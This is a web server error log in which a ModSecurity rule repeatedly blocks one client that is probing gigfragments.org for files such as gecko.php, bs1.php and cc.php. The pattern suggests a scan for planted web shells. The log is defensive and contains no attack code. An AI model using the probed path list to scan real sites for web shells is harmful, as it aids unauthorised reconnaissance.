[Fri Dec 19 18:49:02.494890 2025] [:error] [pid 20581:tid 20616] [client 52.187.119.223:20005] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aUUtnvxEv7WXNhnFD1lh8QAAAIE"]
[Fri Dec 19 18:49:02.691416 2025] [:error] [pid 20580:tid 20597] [client 52.187.119.223:9106] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aUUtnkmd1op_YdAdgR14CgAAAEs"]
[Fri Dec 19 18:49:03.230803 2025] [:error] [pid 20582:tid 20661] [client 52.187.119.223:20083] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aUUtn8pAnrkQKZ4b5gYNFQAAANM"]
[Fri Dec 19 18:49:03.433534 2025] [:error] [pid 20581:tid 20627] [client 52.187.119.223:19982] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aUUtn_xEv7WXNhnFD1lh8wAAAIw"]
[Fri Dec 19 18:49:03.649169 2025] [:error] [pid 20675:tid 20707] [client 52.187.119.223:9088] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aUUtn7MyJ3XqeDRsbQlpeQAAARM"]
[Fri Dec 19 18:49:03.859943 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:9154] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aUUtn7MyJ3XqeDRsbQlpegAAAQQ"]
[Fri Dec 19 18:49:04.072287 2025] [:error] [pid 41451:tid 41463] [client 52.187.119.223:20088] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aUUtoAYXFn-DbZghZBGxngAAAAk"]
[Fri Dec 19 18:49:04.304777 2025] [:error] [pid 41451:tid 41472] [client 52.187.119.223:19988] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aUUtoAYXFn-DbZghZBGxnwAAABI"]
[Fri Dec 19 18:49:04.546767 2025] [:error] [pid 20581:tid 20626] [client 52.187.119.223:20058] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aUUtoPxEv7WXNhnFD1lh-AAAAIs"]
[Fri Dec 19 18:49:04.839347 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:20019] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aUUtoMpAnrkQKZ4b5gYNGAAAAMs"]
[Fri Dec 19 18:49:05.102135 2025] [:error] [pid 20581:tid 20637] [client 52.187.119.223:9171] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aUUtofxEv7WXNhnFD1lh-QAAAJY"]
[Fri Dec 19 18:49:05.365637 2025] [:error] [pid 20581:tid 20622] [client 52.187.119.223:20084] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aUUtofxEv7WXNhnFD1lh-wAAAIc"]
[Fri Dec 19 18:49:05.650752 2025] [:error] [pid 20581:tid 20631] [client 52.187.119.223:20037] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aUUtofxEv7WXNhnFD1lh_AAAAJA"]
[Fri Dec 19 18:49:05.863760 2025] [:error] [pid 20581:tid 20632] [client 52.187.119.223:19992] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aUUtofxEv7WXNhnFD1lh_gAAAJE"]
[Fri Dec 19 18:49:06.101622 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:9195] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aUUtorMyJ3XqeDRsbQlpfAAAAQo"]
[Fri Dec 19 18:49:06.439640 2025] [:error] [pid 20580:tid 20599] [client 52.187.119.223:20085] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aUUtokmd1op_YdAdgR14DQAAAE0"]
[Fri Dec 19 18:49:06.668394 2025] [:error] [pid 20581:tid 20638] [client 52.187.119.223:20086] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aUUtovxEv7WXNhnFD1liAAAAAJc"]
[Fri Dec 19 18:49:07.025019 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:20087] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aUUto7MyJ3XqeDRsbQlpfwAAAQs"]
[Fri Dec 19 18:49:07.337964 2025] [:error] [pid 20581:tid 20619] [client 52.187.119.223:20032] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aUUto_xEv7WXNhnFD1liAgAAAIQ"]
[Fri Dec 19 18:49:07.636747 2025] [:error] [pid 20582:tid 20646] [client 52.187.119.223:20094] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aUUto8pAnrkQKZ4b5gYNHwAAAMQ"]
[Fri Dec 19 18:49:08.076392 2025] [:error] [pid 20581:tid 20620] [client 52.187.119.223:20026] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aUUtpPxEv7WXNhnFD1liAwAAAIU"]
[Fri Dec 19 18:49:08.327795 2025] [:error] [pid 20581:tid 20615] [client 52.187.119.223:20082] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUUtpPxEv7WXNhnFD1liBQAAAIA"]
[Fri Dec 19 18:49:08.582427 2025] [:error] [pid 20675:tid 20706] [client 52.187.119.223:9185] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUUtpLMyJ3XqeDRsbQlpgwAAARI"]
[Fri Dec 19 18:49:08.853502 2025] [:error] [pid 20580:tid 20590] [client 52.187.119.223:9189] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUUtpEmd1op_YdAdgR14EgAAAEQ"]
[Fri Dec 19 18:49:09.168717 2025] [:error] [pid 20675:tid 20711] [client 52.187.119.223:20010] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUUtpbMyJ3XqeDRsbQlphQAAARc"]
[Fri Dec 19 18:49:09.437221 2025] [:error] [pid 20582:tid 20664] [client 52.187.119.223:19975] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aUUtpcpAnrkQKZ4b5gYNIQAAANY"]
[Fri Dec 19 18:49:09.667810 2025] [:error] [pid 41451:tid 41465] [client 52.187.119.223:19998] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aUUtpQYXFn-DbZghZBGxpQAAAAs"]
[Fri Dec 19 18:49:09.900689 2025] [:error] [pid 41451:tid 41475] [client 52.187.119.223:9181] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aUUtpQYXFn-DbZghZBGxpgAAABU"]
[Fri Dec 19 18:49:10.208530 2025] [:error] [pid 20581:tid 20622] [client 52.187.119.223:9214] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aUUtpvxEv7WXNhnFD1liCQAAAIc"]
[Fri Dec 19 18:49:10.485508 2025] [:error] [pid 20582:tid 20658] [client 52.187.119.223:19999] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aUUtpspAnrkQKZ4b5gYNIgAAANA"]
[Fri Dec 19 18:49:10.733306 2025] [:error] [pid 20582:tid 20661] [client 52.187.119.223:19994] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aUUtpspAnrkQKZ4b5gYNIwAAANM"]
[Fri Dec 19 18:49:11.064762 2025] [:error] [pid 20581:tid 20629] [client 52.187.119.223:19970] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aUUtp_xEv7WXNhnFD1liDQAAAI4"]
[Fri Dec 19 18:49:11.261716 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:19971] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aUUtp8pAnrkQKZ4b5gYNJAAAAMs"]
[Fri Dec 19 18:49:11.522045 2025] [:error] [pid 20581:tid 20617] [client 52.187.119.223:20011] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUtp_xEv7WXNhnFD1liEAAAAII"]
[Fri Dec 19 18:49:11.778837 2025] [:error] [pid 20582:tid 20662] [client 52.187.119.223:20049] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUtp8pAnrkQKZ4b5gYNJQAAANQ"]
[Fri Dec 19 18:49:12.098680 2025] [:error] [pid 41451:tid 41454] [client 52.187.119.223:9186] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUtqAYXFn-DbZghZBGxrwAAAAA"]
[Fri Dec 19 18:49:12.365076 2025] [:error] [pid 20582:tid 20649] [client 52.187.119.223:9202] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUtqMpAnrkQKZ4b5gYNJwAAAMc"]
[Fri Dec 19 18:49:12.599863 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:19997] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aUUtqLMyJ3XqeDRsbQlpiQAAAQQ"]
[Fri Dec 19 18:49:13.012262 2025] [:error] [pid 20580:tid 20596] [client 52.187.119.223:9038] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aUUtqUmd1op_YdAdgR14FQAAAEo"]
[Fri Dec 19 18:49:13.301817 2025] [:error] [pid 20581:tid 20619] [client 52.187.119.223:9156] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aUUtqfxEv7WXNhnFD1liEQAAAIQ"]
[Fri Dec 19 18:49:13.591455 2025] [:error] [pid 20580:tid 20609] [client 52.187.119.223:9167] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aUUtqUmd1op_YdAdgR14FwAAAFc"]
[Fri Dec 19 18:49:13.897636 2025] [:error] [pid 41451:tid 41459] [client 52.187.119.223:9160] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUUtqQYXFn-DbZghZBGxsgAAAAU"]
[Fri Dec 19 18:49:14.133365 2025] [:error] [pid 20580:tid 20598] [client 52.187.119.223:20015] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUUtqkmd1op_YdAdgR14GQAAAEw"]
[Fri Dec 19 18:49:14.430232 2025] [:error] [pid 20580:tid 20602] [client 52.187.119.223:20079] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUUtqkmd1op_YdAdgR14HAAAAFA"]
[Fri Dec 19 18:49:14.715414 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:20062] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUUtqrMyJ3XqeDRsbQlpjgAAAQk"]
[Fri Dec 19 18:49:14.922467 2025] [:error] [pid 20581:tid 20636] [client 52.187.119.223:9094] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aUUtqvxEv7WXNhnFD1liEwAAAJU"]
[Fri Dec 19 18:49:15.166656 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9161] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aUUtq7MyJ3XqeDRsbQlpkAAAAQE"]
[Fri Dec 19 18:49:15.446253 2025] [:error] [pid 41451:tid 41462] [client 52.187.119.223:19990] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aUUtqwYXFn-DbZghZBGxtAAAAAg"]
[Fri Dec 19 18:49:15.672918 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:9095] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aUUtq7MyJ3XqeDRsbQlpkQAAARE"]
[Fri Dec 19 18:49:16.021640 2025] [:error] [pid 41451:tid 41461] [client 52.187.119.223:20025] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUtrAYXFn-DbZghZBGxuAAAAAc"]
[Fri Dec 19 18:49:16.411661 2025] [:error] [pid 20582:tid 20643] [client 52.187.119.223:19969] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUtrMpAnrkQKZ4b5gYNKgAAAME"]
[Fri Dec 19 18:49:16.647727 2025] [:error] [pid 20675:tid 20701] [client 52.187.119.223:19985] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUtrLMyJ3XqeDRsbQlplQAAAQ0"]
[Fri Dec 19 18:49:16.916590 2025] [:error] [pid 20582:tid 20660] [client 52.187.119.223:9197] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUtrMpAnrkQKZ4b5gYNKwAAANI"]
[Fri Dec 19 18:49:17.132731 2025] [:error] [pid 20581:tid 20637] [client 52.187.119.223:9201] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUUtrfxEv7WXNhnFD1liFgAAAJY"]
[Fri Dec 19 18:49:17.529896 2025] [:error] [pid 20580:tid 20610] [client 52.187.119.223:20004] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUUtrUmd1op_YdAdgR14IQAAAFg"]
[Fri Dec 19 18:49:17.786427 2025] [:error] [pid 20581:tid 20622] [client 52.187.119.223:20007] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUUtrfxEv7WXNhnFD1liFwAAAIc"]
[Fri Dec 19 18:49:18.276676 2025] [:error] [pid 20582:tid 20652] [client 52.187.119.223:9117] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUUtrspAnrkQKZ4b5gYNLQAAAMo"]
